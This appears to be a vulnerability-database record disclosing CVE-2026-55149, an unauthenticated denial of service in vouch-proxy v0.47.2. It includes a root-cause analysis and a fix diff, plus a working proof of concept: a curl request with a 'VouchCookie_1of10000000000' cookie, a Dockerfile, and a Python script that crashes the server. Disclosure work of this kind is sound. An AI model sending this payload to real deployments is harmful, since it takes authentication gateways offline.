{"id":"CVE-2026-55149","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55149","summary":"vouch-proxy has an Unbounded Multipart Cookie Allocation DoS","details":"## Unbounded Multipart Cookie Allocation DoS in vouch-proxy\n\n### Summary\n\nvouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The `/validate` endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., `VouchCookie_1of<N>`) and passes it without any bounds check to `make([]string, N)`. A single HTTP request with `N=10000000000` causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.\n\n### Details\n\nThe vulnerability exists in `pkg/cookie/cookie.go`. The `Cookie()` function iterates over all cookies in the request, identifies multipart cookies by the `_NofM` suffix in their name, and initializes the reassembly slice on the first matching cookie:\n\n```go\n// pkg/cookie/cookie.go:123–130\nxOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\nxyArray := strings.Split(xOFy, \"of\")\nif numParts == -1 {\n    if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n        return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n    }\n    cookieParts = make([]string, numParts)  // sink: unbounded allocation\n}\n```\n\nThe value in `xyArray[1]` comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before `strconv.Atoi` parses it. The result is used as the length argument to `make`, so an attacker who supplies `VouchCookie_1of10000000000` causes the runtime to request approximately `10_000_000_000 × 16 bytes ≈ 160 GB` of memory in a single call.\n\nThe complete exploit path from network entry to crash:\n\n1. `main.go:167` — `/validate` and `/_external-auth-:id` are registered wrapped in `JWTCacheHandler`.\n2. `pkg/jwtmanager/jwtcache.go:54` — `JWTCacheHandler` calls `FindJWT(r)` **before** any authentication check.\n3. `pkg/jwtmanager/jwtmanager.go:228` — `FindJWT` calls `cookie.Cookie(r)`.\n4. `pkg/cookie/cookie.go:109` — `r.Cookies()` reads the attacker-supplied `Cookie:` header.\n5. `pkg/cookie/cookie.go:124` — cookie name suffix is split on `\"of\"`.\n6. `pkg/cookie/cookie.go:126` — `strconv.Atoi(xyArray[1])` parses the attacker-controlled total.\n7. `pkg/cookie/cookie.go:130` — **sink**: `make([]string, numParts)` attempts a gigantic heap allocation.\n\nBecause the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.\n\nA suggested remediation is to add a strict upper bound and format validation before the allocation:\n\n```diff\n--- a/pkg/cookie/cookie.go\n+++ b/pkg/cookie/cookie.go\n@@ const maxCookieSize = 4000\n+const maxCookieParts = 32\n@@\n-    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n-    xyArray := strings.Split(xOFy, \"of\")\n+    xOFy := strings.Replace(cookie.Name, cookieUnder, \"\", 1)\n+    partStr, totalStr, ok := strings.Cut(xOFy, \"of\")\n+    if !ok || partStr == \"\" || totalStr == \"\" {\n+        return \"\", fmt.Errorf(\"multipart cookie fail: invalid cookie part name\")\n+    }\n     if numParts == -1 {\n-        if numParts, err = strconv.Atoi(xyArray[1]); err != nil {\n+        if numParts, err = strconv.Atoi(totalStr); err != nil {\n             return \"\", fmt.Errorf(\"multipart cookie fail: %s\", err)\n         }\n+        if numParts < 1 || numParts > maxCookieParts {\n+            return \"\", fmt.Errorf(\"multipart cookie fail: invalid part count %d\", numParts)\n+        }\n         cookieParts = make([]string, numParts)\n     }\n```\n\n### PoC\n\n**Environment setup**\n\nBuild the vulnerable image from source (requires the vouch-proxy repository at the path below):\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vouch-vuln001 \\\n  repo\n```\n\nStart the container (no memory limit is imposed; the Go runtime itself fails the allocation):\n\n```bash\ndocker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001\n```\n\nWait for the server to respond to a baseline request (expected HTTP 302 or similar):\n\n```bash\ncurl -v http://127.0.0.1:19090/validate\n```\n\n**Attack request**\n\nSend a single unauthenticated HTTP GET with the malicious cookie name:\n\n```bash\ncurl -v http://127.0.0.1:19090/validate \\\n  -H 'Host: app.example.com' \\\n  -H 'Cookie: VouchCookie_1of10000000000=x'\n```\n\nAlternatively, run the automated PoC script:\n\n```bash\npython3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000\n```\n\n**Expected result**\n\nThe server process crashes immediately with a Go runtime fatal error. Container logs show:\n\n```\nfatal error: runtime: out of memory\n\nruntime.makeslice(0x0?, 0x0?, 0x0?)\n    /usr/local/go/src/runtime/slice.go:117\ngithub.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)\n    /src/pkg/cookie/cookie.go:130\ngithub.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)\n    /src/pkg/jwtmanager/jwtmanager.go:228\nmain.main.JWTCacheHandler.func1(...)\n    /src/pkg/jwtmanager/jwtcache.go:54\n```\n\nThe container exits with code 2 (Go runtime fatal). The `curl` client receives an empty reply. The attack is 100% deterministic and reproducible on every run.\n\n**Minimal configuration** (no real OAuth provider required):\n\n```yaml\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\n```\n\n### Impact\n\nThis is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.\n\nAn attacker who can send a single HTTP request to the `/validate` or `/_external-auth-:id` endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.\n\nNo authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (`VouchCookie`) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 — Unbounded Multipart Cookie Allocation DoS\n# vouch/vouch-proxy v0.47.2 (commit b683f60)\n#\n# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x\n#   -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total\n#   -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime\n#   -> Server process crashes; no authentication required\n#\n# Build:  docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo\n# Run:    docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001\n\n# ---------- Stage 1: compile vouch-proxy from source ----------\nFROM golang:1.26 AS builder\n\nWORKDIR /src\nCOPY . .\n\n# Build a statically linked binary; skip do.sh which requires live git tags.\n# Version ldflags are pinned to the affected commit for reproducibility.\nRUN CGO_ENABLED=0 GOOS=linux \\\n    go build -v \\\n      -ldflags=\"-s -w \\\n        -X main.version=b683f60 \\\n        -X main.uname=linux \\\n        -X main.builddt=2024-01-01T00:00:00Z \\\n        -X main.host=vuln-poc \\\n        -X main.semver=v0.47.2 \\\n        -X main.branch=main\" \\\n      -o /vouch-proxy .\n\n# ---------- Stage 2: minimal runtime image ----------\nFROM debian:bookworm-slim\n\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends ca-certificates && \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /vouch-proxy /vouch-proxy\n\n# Minimal config: allowAllUsers so startup succeeds without real OAuth,\n# default cookie name VouchCookie matches the PoC payload.\nRUN mkdir -p /config && cat > /config/config.yml << 'EOF'\nvouch:\n  logLevel: info\n  listen: 0.0.0.0\n  port: 9090\n  domains:\n    - vouch.github.io\noauth:\n  provider: indieauth\n  client_id: http://vouch.github.io\n  auth_url: https://indielogin.com/auth\n  callback_url: http://vouch.github.io:9090/auth\nEOF\n\nEXPOSE 9090\nENTRYPOINT [\"/vouch-proxy\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS\nTarget: vouch/vouch-proxy v0.47.2 (commit b683f60)\nFile:   pkg/cookie/cookie.go:126\n\nAttack summary\n--------------\nThe multipart-cookie reassembly routine reads the total part count from the\nattacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls\n    make([]string, N)\nwith no upper-bound check.  The /validate endpoint is reachable without any\nauthentication, so a single HTTP request with N=10_000_000_000 forces the\nGo runtime to attempt a ~160 GB heap allocation, which immediately triggers\n    runtime: out of memory: cannot allocate ...\nand crashes the server process (Go fatal, exit 2).\n\nUsage\n-----\nRun from the repo root (or any directory; paths are absolute):\n\n    python3 poc.py [--image IMAGE] [--port PORT] [--parts N]\n\nDefaults:\n    IMAGE  = vouch-vuln001\n    PORT   = 9090\n    PARTS  = 10000000000   (10 billion -> ~160 GB allocation request)\n\"\"\"\n\nimport argparse\nimport http.client\nimport json\nimport subprocess\nimport sys\nimport time\n\n# ──────────────────────────────────────────────────────────\n# Configuration\n# ──────────────────────────────────────────────────────────\nDEFAULT_IMAGE  = \"vouch-vuln001\"\nDEFAULT_PORT   = 19090        # host port; container always uses 9090 internally\nDEFAULT_PARTS  = 10_000_000_000          # drives make([]string, 10_000_000_000)\nCONTAINER_NAME = \"vouch-vuln001-poc\"\nSTARTUP_TIMEOUT_S = 30                   # seconds to wait for the server to listen\nREADY_POLL_S  = 1.0\n\n\n# ──────────────────────────────────────────────────────────\n# Helpers\n# ──────────────────────────────────────────────────────────\n\ndef run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:\n    \"\"\"Run a subprocess and return the CompletedProcess.\"\"\"\n    print(f\"[cmd] {' '.join(cmd)}\")\n    return subprocess.run(cmd, **kwargs)\n\n\ndef cleanup(name: str) -> None:\n    \"\"\"Remove an existing container by name, ignoring errors.\"\"\"\n    subprocess.run(\n        [\"docker\", \"rm\", \"-f\", name],\n        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n    )\n\n\ndef wait_for_server(host: str, port: int, timeout: float) -> bool:\n    \"\"\"Poll GET /validate until we get any response (even 401/302) or timeout.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() < deadline:\n        try:\n            conn = http.client.HTTPConnection(host, port, timeout=2)\n            conn.request(\"GET\", \"/validate\")\n            resp = conn.getresponse()\n            # Any HTTP response means the server is up.\n            print(f\"[ready] server responded: HTTP {resp.status}\")\n            conn.close()\n            return True\n        except OSError:\n            pass\n        time.sleep(READY_POLL_S)\n    return False\n\n\ndef container_running(name: str) -> bool:\n    \"\"\"Return True if the named container is still running.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.Running}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef container_exit_code(name: str) -> int | None:\n    \"\"\"Return the exit code of a stopped container, or None if unknown.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.ExitCode}}\", name],\n        capture_output=True, text=True,\n    )\n    if r.returncode == 0:\n        try:\n            return int(r.stdout.strip())\n        except ValueError:\n            pass\n    return None\n\n\ndef container_oom(name: str) -> bool:\n    \"\"\"Return True if the container was OOM-killed.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"inspect\", \"--format\", \"{{.State.OOMKilled}}\", name],\n        capture_output=True, text=True,\n    )\n    return r.returncode == 0 and r.stdout.strip() == \"true\"\n\n\ndef get_logs(name: str) -> str:\n    \"\"\"Retrieve stdout+stderr from the container.\"\"\"\n    r = subprocess.run(\n        [\"docker\", \"logs\", name],\n        capture_output=True, text=True,\n    )\n    return (r.stdout + r.stderr).strip()\n\n\n# ──────────────────────────────────────────────────────────\n# Main\n# ──────────────────────────────────────────────────────────\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    parser.add_argument(\"--image\",  default=DEFAULT_IMAGE,  help=\"Docker image name\")\n    parser.add_argument(\"--port\",   default=DEFAULT_PORT,   type=int)\n    parser.add_argument(\"--parts\",  default=DEFAULT_PARTS,  type=int,\n                        help=\"N in VouchCookie_1ofN (drives allocation size)\")\n    args = parser.parse_args()\n\n    host       = \"127.0.0.1\"\n    port       = args.port\n    image      = args.image\n    num_parts  = args.parts\n    cookie_val = f\"VouchCookie_1of{num_parts}\"\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS\")\n    print(\"=\" * 60)\n    print(f\"  Image  : {image}\")\n    print(f\"  Target : http://{host}:{port}/validate\")\n    print(f\"  Cookie : {cookie_val}=x\")\n    print(f\"  Expected allocation: ~{(num_parts * 16) // (1024**3)} GB\")\n    print()\n\n    # 1. Clean up any leftover container.\n    cleanup(CONTAINER_NAME)\n\n    # 2. Start the vouch-proxy container.\n    #    Memory is uncapped at the Docker level; the Go runtime itself will\n    #    fail the mmap when the host cannot honor the 160 GB request\n    #    (overcommit heuristic or insufficient address space).\n    run_cmd = [\n        \"docker\", \"run\", \"-d\",   # no --rm so logs survive after crash\n        \"--name\", CONTAINER_NAME,\n        \"-p\", f\"{port}:9090\",   # host:container — vouch-proxy always binds :9090 internally\n        image,\n    ]\n    r = run(run_cmd, capture_output=True, text=True)\n    if r.returncode != 0:\n        print(f\"[FAIL] docker run failed:\\n{r.stderr}\")\n        sys.exit(1)\n    container_id = r.stdout.strip()\n    print(f\"[info] container started: {container_id[:12]}\")\n\n    # 3. Wait for the HTTP server to accept connections.\n    print(f\"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...\")\n    ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)\n    if not ready:\n        logs = get_logs(CONTAINER_NAME)\n        print(f\"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.\")\n        print(\"[logs]\", logs[-2000:])\n        cleanup(CONTAINER_NAME)\n        sys.exit(1)\n\n    # 4. Send the malicious request.\n    print()\n    print(\"[attack] Sending malicious cookie to /validate ...\")\n    request_line = f\"GET /validate HTTP/1.1 Cookie: {cookie_val}=x\"\n    print(f\"[attack] {request_line}\")\n    print()\n\n    try:\n        conn = http.client.HTTPConnection(host, port, timeout=10)\n        conn.request(\n            \"GET\", \"/validate\",\n            headers={\n                \"Host\": \"app.example.com\",\n                \"Cookie\": f\"{cookie_val}=x\",\n            },\n        )\n        # The server might crash before sending a response.\n        try:\n            resp = conn.getresponse()\n            body = resp.read(512).decode(\"utf-8\", errors=\"replace\")\n            print(f\"[info] got HTTP {resp.status}: {body[:200]}\")\n        except Exception as e:\n            print(f\"[info] connection broken mid-response (expected): {e}\")\n        conn.close()\n    except Exception as e:\n        print(f\"[info] request exception (expected if server crashed): {e}\")\n\n    # 5. Give the container a moment to record its exit state.\n    time.sleep(2)\n\n    # 6. Collect evidence.\n    still_running = container_running(CONTAINER_NAME)\n    exit_code     = container_exit_code(CONTAINER_NAME)\n    oom_killed    = container_oom(CONTAINER_NAME)\n    logs          = get_logs(CONTAINER_NAME)\n\n    print(\"─\" * 60)\n    print(\"[evidence] Container still running :\", still_running)\n    print(\"[evidence] Container exit code      :\", exit_code)\n    print(\"[evidence] OOM-killed flag          :\", oom_killed)\n    print()\n    print(\"[logs] (last 3000 chars of container stdout+stderr):\")\n    print(logs[-3000:] if logs else \"(empty)\")\n    print(\"─\" * 60)\n\n    # 7. Verdict\n    #\n    # Evidence of exploitation (any one suffices):\n    #   (a) Container exited (not still running) after the malicious request.\n    #   (b) Exit code == 2 (Go runtime fatal: out of memory).\n    #   (c) OOMKilled == true (kernel OOM killer fired).\n    #   (d) Logs contain \"out of memory\" or \"runtime: fatal\".\n\n    crashed   = not still_running\n    go_panic  = exit_code == 2\n    oom_kill  = oom_killed\n    log_oom   = (\n        \"out of memory\" in logs.lower()\n        or \"runtime: fatal\" in logs.lower()\n        or \"cannot allocate\" in logs.lower()\n    )\n\n    passed = crashed and (go_panic or oom_kill or log_oom)\n\n    print()\n    if passed:\n        print(\"[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.\")\n        # Extract the key OOM line from logs.\n        oom_lines = [\n            ln for ln in logs.splitlines()\n            if any(kw in ln.lower() for kw in (\"out of memory\", \"cannot allocate\", \"runtime: fatal\", \"oom\"))\n        ]\n        evidence = \"\\n\".join(oom_lines[:5]) if oom_lines else f\"container exited with code {exit_code}\"\n    else:\n        print(\"[FAIL] Could not confirm crash. See logs above for details.\")\n        evidence = logs[-500:] if logs else \"(no logs)\"\n\n    print()\n    result = {\n        \"passed\":        passed,\n        \"verdict\":       \"PASS\" if passed else \"FAIL\",\n        \"reason\": (\n            \"단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공\"\n            if passed else\n            \"컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고\"\n        ),\n        \"build_command\": (\n            \"docker build -f vuln-001/Dockerfile \"\n            \"-t vouch-vuln001 \"\n            \"repo\"\n        ),\n        \"run_command\": (\n            f\"docker run --rm -d --name {CONTAINER_NAME} \"\n            f\"-p {port}:9090 {image}\"\n        ),\n        \"poc_command\": (\n            f\"python3 poc.py --image {image} --port {port} --parts {num_parts}\"\n        ),\n        \"evidence\":      evidence,\n        \"artifacts\":     [\"Dockerfile\", \"poc.py\"],\n    }\n\n    result_path = (\n        \"reports/pypiAi_450_vouch__vouch-proxy\"\n        \"/vuln-001/phase2_result.json\"\n    )\n    with open(result_path, \"w\") as fh:\n        json.dump(result, fh, indent=2, ensure_ascii=False)\n    print(f\"[saved] {result_path}\")\n\n    # 8. Cleanup.\n    cleanup(CONTAINER_NAME)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-08-20T17:26:39Z","modified":"2026-08-20T17:30:08.720854310Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/vouch/vouch-proxy","fixedVersion":"0.48.0"}],"fix":{"url":"https://github.com/vouch/vouch-proxy/commit/fa18ce30ba50a4863a436acad044c22965329c4f","label":"vouch/vouch-proxy@fa18ce3"},"references":[{"type":"WEB","url":"https://github.com/vouch/vouch-proxy/security/advisories/GHSA-qqff-5854-px68"},{"type":"WEB","url":"https://github.com/vouch/vouch-proxy/commit/fa18ce30ba50a4863a436acad044c22965329c4f"},{"type":"PACKAGE","url":"https://github.com/vouch/vouch-proxy"},{"type":"WEB","url":"https://github.com/vouch/vouch-proxy/releases/tag/v0.48.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-20T17:30:08.720854310Z"}}